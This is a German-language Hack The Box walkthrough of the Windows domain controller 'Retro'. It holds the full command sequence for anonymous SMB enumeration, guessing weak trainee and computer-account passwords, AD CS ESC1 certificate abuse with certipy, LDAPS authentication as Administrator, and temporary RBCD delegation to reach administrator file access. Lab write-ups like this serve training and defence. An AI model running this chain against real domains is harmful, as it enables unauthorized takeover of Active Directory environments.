← Zurück zu Machines

HTB · published

Retro

HTB Vulnlab Machines Writeup zu Retro: Anonymous SMB, Trainee-Credentials, AD CS ESC1, Schannel/LDAPS, temporäres RBCD und Administrator-CIFS-Zugriff.

HTBMachineWriteupVulnlab MachinesWindowsActive DirectorySMBAD CSESC1RBCDKerberos

Metadaten


  • Name: Retro
  • IP Address: 10.129.234.44
  • Plattform: Windows
  • Kategorie: Active Directory / Windows / AD CS
  • Schwierigkeit: Easy
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Anonymous SMB leakt einen Hinweis auf ein geteiltes Trainee-Konto. Damit sind weitere Shares lesbar, inklusive user.txt und einem Hinweis auf ein altes Computer-Konto. Das Computer-Konto kann eine verwundbare AD-CS-Vorlage missbrauchen. Wegen deaktiviertem PKINIT wird die Administrator-Zertifikatsauthentifizierung über Schannel/LDAPS genutzt, anschließend ermöglicht ein temporärer RBCD-Eintrag einen Administrator-CIFS-Ticketzugriff auf root.txt.

Reconnaissance / Enumeration

Der Host antwortete nicht auf ICMP, war aber über TCP erreichbar:

ping -c 3 10.129.234.44 | tee scans/ping.txt
nmap -p- --min-rate 10000 -T4 -v -n --open 10.129.234.44 | tee scans/nmap_full_tcp.txt

Wichtige offene Ports:

53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server

Nmap open ports

Der Service-Scan bestätigte einen Windows-Domain-Controller:

nmap -sV -sC -O --traceroute -T4 -v -n -p 53,88,135,139,445,464,593,636,3268,3269,3389,49664,49667,49668,49669,54616,54629,54644,60586,60595 10.129.234.44 | tee scans/nmap_services.txt

RDP-NTLM-Metadaten zeigten:

Target_Name: RETRO
NetBIOS_Computer_Name: DC
DNS_Domain_Name: retro.vl
DNS_Computer_Name: DC.retro.vl
Product_Version: 10.0.20348

Anonymous SMB zeigte mehrere Shares. Trainees war lesbar:

smbclient -L //10.129.234.44 -N 2>&1 | tee scans/smbclient_null_shares.txt
smbclient //10.129.234.44/Trainees -N -c 'recurse;ls' 2>&1 | tee scans/smb_trainees_null_ls.txt
smbclient //10.129.234.44/Trainees -N -c 'get Important.txt web/Important.txt'

Important.txt enthielt den Hinweis, dass Trainees in ein gemeinsames Konto gebündelt wurden.

Trainees share note

Aus dem Share-Namen und Hinweis wurden nur sehr wenige Kandidaten getestet:

nxc smb 10.129.234.44 -d retro.vl -u recon/candidate_users.txt -p recon/candidate_passwords.txt --continue-on-success
nxc ldap 10.129.234.44 -d retro.vl -u recon/candidate_users.txt -p recon/candidate_passwords.txt --continue-on-success

Ergebnis:

retro.vl\trainee:trainee

Trainee credential validation

Exploitation (Foothold)

Mit retro.vl\trainee:trainee war der Share Notes lesbar:

nxc smb 10.129.234.44 -d retro.vl -u trainee -p trainee --shares
smbclient //10.129.234.44/Notes -U 'retro.vl/trainee%trainee' -c 'recurse;ls'

Der Share enthielt user.txt und ToDo.txt. Die User-Flag wurde in loot/user_flag.txt gespeichert; der Wert wird hier nicht veröffentlicht.

smbclient //10.129.234.44/Notes -U 'retro.vl/trainee%trainee' -c 'get user.txt loot/user_flag.txt; get ToDo.txt loot/ToDo.txt'

User flag proof

ToDo.txt enthielt den entscheidenden Privilege-Escalation-Hinweis: Ein altes, vorab erstelltes Computer-Konto aus dem Banking-Kontext sollte bereinigt werden. Die LDAP-Enumeration bestätigte BANKING$:

nxc ldap 10.129.234.44 -d retro.vl -u trainee -p trainee --computers
DC$
BANKING$

Lateral Movement / User Escalation

Separate laterale Bewegung zwischen Benutzerkonten war nicht notwendig. Der entscheidende Wechsel war von trainee zu einem verwertbaren Computer-Konto-Kontext (BANKING$) und danach zu Administrator-Rechten über AD CS und Kerberos-Delegation.

Privilege Escalation (Root / Domain)

AD CS war aktiv. Certipy fand eine verwundbare Vorlage:

certipy-ad find -u trainee@retro.vl -p trainee -dc-ip 10.129.234.44 -stdout -vulnerable | tee scans/certipy_ad_find_vulnerable.txt

Wichtig war RetroClients:

Enrollee Supplies Subject : True
Client Authentication     : True
Enrollment Rights         : RETRO.VL\Domain Computers
Vulnerability             : ESC1

AD CS ESC1 finding

Das alte Computer-Konto verwendete das naheliegende Passwort banking. SMB blockierte die interaktive Nutzung als Workstation-Trust-Account, aber Kerberos bestätigte die Zugangsdaten:

getTGT.py -dc-ip 10.129.234.44 'retro.vl/BANKING$:banking' | tee scans/impacket_gettgt_banking.txt

BANKING Kerberos proof

Die Administrator-SID wurde per lookupsid.py ermittelt:

lookupsid.py 'retro.vl/trainee:trainee@10.129.234.44' | tee scans/impacket_lookupsid_trainee.txt

Administrator:

S-1-5-21-2983547755-698260136-4283918172-500

Danach wurde über BANKING$ ein SID-gebundenes Administrator-Zertifikat angefordert:

KRB5CCNAME=./BANKING\$.ccache certipy-ad req \
  -k -no-pass \
  -dc-ip 10.129.234.44 \
  -dc-host DC.retro.vl \
  -target DC.retro.vl \
  -target-ip 10.129.234.44 \
  -ca retro-DC-CA \
  -template RetroClients \
  -upn administrator@retro.vl \
  -sid S-1-5-21-2983547755-698260136-4283918172-500 \
  -key-size 4096 \
  -dcom \
  -out administrator_sid_bound

Administrator certificate issued

PKINIT war auf dem KDC nicht nutzbar:

KDC_ERR_PADATA_TYPE_NOSUPP

Das Zertifikat funktionierte jedoch für Schannel/LDAPS:

certipy-ad auth -pfx administrator_sid_bound_dcom.pfx -domain retro.vl -dc-ip 10.129.234.44 -ldap-shell

Die LDAP-Shell authentifizierte als:

u:RETRO\Administrator

Um kein bestehendes Passwort zurückzusetzen, wurde ein temporärer und anschließend bereinigter RBCD-Eintrag genutzt:

set_rbcd DC$ BANKING$

Dann wurde ein CIFS-Ticket als Administrator angefordert:

getST.py -dc-ip 10.129.234.44 -spn cifs/DC.retro.vl -impersonate Administrator 'retro.vl/BANKING$:banking'

Mit dem Ticket war Administrator-SMB-Zugriff möglich:

KRB5CCNAME='./Administrator@cifs_DC.retro.vl@RETRO.VL.ccache' nxc smb DC.retro.vl -k --use-kcache --shares

Anschließend wurde die Root-Flag geladen:

printf 'use C$\nlcd loot\nget Users\\Administrator\\Desktop\\root.txt\nexit\n' | \
  KRB5CCNAME='./Administrator@cifs_DC.retro.vl@RETRO.VL.ccache' \
  smbclient.py -k -no-pass retro.vl/Administrator@DC.retro.vl

cp loot/root.txt loot/root_flag.txt

Root flag proof

Der temporäre RBCD-Eintrag wurde danach entfernt:

clear_rbcd DC$

Post-Exploitation

  • User Flag

    • Path: \\DC\Notes\user.txt
    • User context: retro.vl\trainee
    • Proof file: loot/user_flag.txt
    • Redacted value: cbda3[REDACTED-USER-FLAG]ff33
    • Screenshot/proof: screenshots/04-user-flag-proof.png
  • Root Flag

    • Path: C:\Users\Administrator\Desktop\root.txt
    • User context: retro.vl\Administrator via CIFS S4U ticket
    • Proof file: loot/root_flag.txt
    • Redacted value: 40fce[REDACTED-ROOT-FLAG]d071
    • Screenshot/proof: screenshots/08-root-flag-proof.png
  • Screenshots

    • screenshots/01-nmap-open-ports.png
    • screenshots/02-smb-trainees-important.png
    • screenshots/03-trainee-credential-validation.png
    • screenshots/04-user-flag-proof.png
    • screenshots/05-adcs-esc1-finding.png
    • screenshots/06-banking-kerberos-proof.png
    • screenshots/07-admin-cert-issued.png
    • screenshots/08-root-flag-proof.png
  • Important Files

    • web/Important.txt
    • loot/ToDo.txt
    • loot/administrator_sid_bound_dcom.pfx
    • loot/BANKING$.ccache
    • loot/Administrator@cifs_DC.retro.vl@RETRO.VL.ccache
    • credentials.txt
  • Relevant Logs or Proofs

    • scans/nmap_full_tcp.txt
    • scans/nmap_services.txt
    • scans/smbclient_null_shares.txt
    • scans/nxc_smb_low_volume_creds.txt
    • scans/certipy_ad_find_vulnerable.txt
    • scans/impacket_gettgt_banking.txt
    • scans/certipy_req_admin_sid_bound_dcom.txt
    • scans/nxc_smb_admin_kcache_shares.txt
    • scans/impacket_smbclient_get_root_retry.txt

Lessons Learned

  • Anonymous SMB sollte auch dann vollständig geprüft werden, wenn nur ein einzelner Share interessant wirkt. Hier führte Trainees/Important.txt direkt zum ersten gültigen Konto.
  • AD-CS-Funde müssen gegen die tatsächlichen Enrollment-Rechte gelesen werden. RetroClients war nur über Domain Computers ausnutzbar, nicht direkt über trainee.
  • Wenn PKINIT nicht verfügbar ist, ist ein Zertifikat nicht automatisch wertlos. Schannel/LDAPS kann trotzdem Administrator-Kontext liefern.
  • Temporäre RBCD ist eine saubere Alternative zum Passwort-Reset, wenn anschließend wieder bereinigt wird.

Notizen

  • /etc/hosts wurde lokal um 10.129.234.44 DC.retro.vl DC retro.vl ergänzt, damit Kerberos-SPNs und SMB-Hostnamen konsistent funktionieren.
  • Der erste Certipy-RPC-Versuch über Named Pipe schlug fehl; -dcom funktionierte zuverlässig.